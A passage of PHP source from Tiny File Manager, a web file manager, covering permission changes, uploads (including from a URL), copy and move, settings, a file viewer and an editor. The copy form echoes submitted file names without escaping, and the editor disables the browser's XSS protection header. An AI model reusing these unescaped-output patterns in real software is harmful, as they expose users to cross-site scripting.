        fm_set_msg(lng('File not found'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

/*************************** /ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt() {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if(FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function(&$x) {$x = ".$x";});
            return implode(',', $extArr);
        }
        return '';
    }
    ?>

    <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
                    <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple/>
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook"><div></div><div></div><div></div></div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script>
    <script>
        Dropzone.options.fileUploader = {
            timeout: 120000,
            maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>,
            acceptedFiles : "<?php echo getUploadExt() ?>",
            init: function () {
                this.on("sending", function (file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function (res) {
                    let _response = JSON.parse(res.xhr.response);
                    if(_response.status == "error") {
                        toast(_response.info);
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
    <?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <div class="card <?php echo fm_get_theme(); ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p>
                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-cog"></i>  <?php echo lng('Settings') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <?php
                    //get ON/OFF and active class
                    function getChecked($conf, $val, $txt) {
                        if($conf== 1 && $val ==1) {
                            return $txt;
                        } else if($conf == '' && $val == '') {
                            return $txt;
                        } else {
                            return '';
                        }
                    }
                    ?>
                    <div class="form-group row">
                        <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>">
                                    <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>">
                                    <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>">
                                    <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="form-group row">
                        <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label>
                        <div class="col-sm-9">
                            <div class="btn-group btn-group-toggle" data-toggle="buttons">
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON
                                </label>
                                <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>">
                                    <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF
                                </label>
                            </div>
                        </div>
                    </div>
                    
                    <div class="form-group row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-control" id="js-3-0" name="js-theme-3" style="width:100px;">
                         <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                         <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="form-group row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?>
                <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p>
                        <p>Author: Prasath Mani</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false;
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    if(!$quickView) {
        fm_show_header(); // HEADER
        fm_show_nav_path(FM_PATH); // current path
    }

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <?php if(!$quickView) { ?>
                <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p>
                <p class="break-word">
                    Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br>
                    File size: <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                    MIME-type: <?php echo $mime_type ?><br>
                    <?php
                    // ZIP info
                    if (($is_zip || $is_gzip) && $filenames !== false) {
                        $total_files = 0;
                        $total_comp = 0;
                        $total_uncomp = 0;
                        foreach ($filenames as $fn) {
                            if (!$fn['folder']) {
                                $total_files++;
                            }
                            $total_comp += $fn['compressed_size'];
                            $total_uncomp += $fn['filesize'];
                        }
                        ?>
                        Files in archive: <?php echo $total_files ?><br>
                        Total size: <?php echo fm_get_filesize($total_uncomp) ?><br>
                        Size in archive: <?php echo fm_get_filesize($total_comp) ?><br>
                        Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br>
                        <?php
                    }
                    // Image info
                    if ($is_image) {
                        $image_size = getimagesize($file_path);
                        echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                    }
                    // Text info
                    if ($is_text) {
                        $is_utf8 = fm_is_utf8($content);
                        if (function_exists('iconv')) {
                            if (!$is_utf8) {
                                $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                            }
                        }
                        echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                    }
                    ?>
                </p>
                <p>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> &nbsp;
                    <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                    &nbsp;
                    <?php
                    // ZIP actions
                    if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) {
                        $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                        ?>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;unzip=<?php echo urlencode($file) ?>&amp;tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
                                <?php echo lng('UnZipToFolder') ?></a></b> &nbsp;
                        <?php
                    }
                    if ($is_text && !FM_READONLY) {
                        ?>
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                            </a></b> &nbsp;
                        <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                              class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                            </a></b> &nbsp;
                    <?php } ?>
                    <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
                </p>
                <?php
            }
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fm_enc($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fm_enc($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
    if(!$quickView) {
        fm_show_footer();
    }
    exit;
}

// file editor
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
                            <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="Select Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
                <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);

    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
